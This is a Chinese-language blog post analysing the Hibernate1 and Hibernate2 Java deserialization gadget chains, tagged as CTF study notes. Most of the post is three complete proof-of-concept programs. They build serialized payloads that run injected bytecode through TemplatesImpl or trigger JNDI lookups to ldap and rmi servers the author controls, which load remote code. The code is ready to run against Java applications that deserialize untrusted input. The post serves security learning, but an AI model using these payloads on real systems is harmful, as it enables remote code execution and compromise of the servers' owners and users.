April 2, 2023

我来对Hibernate利用链说一二

今天是3.29妈的咕咕一下

一、Hibernate 1触发链

First of All,来到第一条也是最经典的一条触发链,Hibernate1链,首先简单的介绍一下,这条链子也是触发任意的getter或者iser(is开头)的方法。因此也是较为经典的东西
首先给上调用栈

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()

链子长度中规中矩,不是特别的长
漏洞点是在BasicGetter#get方法上
image.png
此处是存在一个方法invoke的,那现在看就是如何控制参数method和target了,首先target是我们传入get里的参数,来看看method
image.png
他是BasicPropertyAccessor内置类BasicGetter中的一个属性,那么怎么设置属性呢,在BasicPropertyAccessor#getGetter方法调用了createGetter
image.png
在里面调用了getGetterOrNull
image.png
而我们的method属性就是在这个方法中进行获取的
image.png
首先调用getterMethod获取getter方法,然后在最后调用构造方法return一个BasicGetter对象,method在构造方法中被赋值
image.png
image.png
因此现在的思路就是哪里会调用get方法,经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer中定义了成员变量getters,并且通过getPropertyValue()方法调用get方法,而getPropertyValues()又调用了getPropertyValue()
image.png
接着找谁调用了getPropertyValues()方法,由于这是抽象类,因此该找实现类哪里调用了
image.png
有两个类PojoComponentTuplizerDynamicMapComponentTuplizer这里选择前者,在该类调用父类的getPropertyValues()方法
image.png
而这个方法在ComponentType中又被调用了
image.png
这里让componentTuplizerPojoComponentTuplizer即可接上链子,而在该类的getHashcode方法中又调用了getPropertyValue
image.png
因此现在该着哪里可以接上getHashcode,这里就再正向分析一波,首先找到在TypedValue类中的initTransients是调用getHashcode了的
image.png
在该类的hashCode方法调用了getValue:
image.png
这个hashcode是一个ValueHolder对象,因此调用它的getValue方法
image.png
这里又进而调用valueInitializer.initialize(),由于TypedValue类的hashcode属性重写了initialize方法,因此最后又会回到里面
image.png
进而调用getHashcode,因此入口是hashcode方法,这个在HashMap中就可以触发
所以链子最外层应该是hashmap,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
* Hello world!
*
*/
public class Hibernate1 {

public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",tmpl);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

没想到还挺长的QWQ建议结合调用栈食用

不调用TypedVvalue的readObject

image.png
TypedValue明明有readObject为什么不调用呢?经过测试假如调用了的话,确实可以走到initTransients方法,但是进入不了initialize方法

请教了大佬是因为直接调用initTransients方法时,其目的只是给this.hashcode做一个方法的声明,并不会调用内部类中的initialize方法,只有在hashcode初始化时,才会调用内部类的方法。所以要看哪里使用了this.hashcode。

然后在上面也讲了ValueHolder中用到了就是hashcode属性

二、Hibernate 2触发链

就是把Templates改为JdbcRowSetImpl哈哈哈,我发现了只要是任意getter调用就会有这两,所以有1、2两条链,真是抽象嘿嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
* Hello world!
*
*/
public class Hibernate2 {

public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


// 生成JdbcRowxxx
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:9999/Exploit");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",rs);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

虽然触发了lookup,并且也接收到了请求
image.png
但是就是不会弹出计算机,JDK版本也是低版本,网上也没有细致的说一下这个问题,所以也不是很清楚。。。

解决问题

目前还是不太清楚。。。。所以有信息了会放过来
破案了,别相信一些工具,自己手动搭建服务端。。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
* Hello world!
*
*/
public class Hibernate2 {

public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


// 生成JdbcRowxxx
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi://localhost:8998/myhome");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",rs);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

image.png\

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#反序列化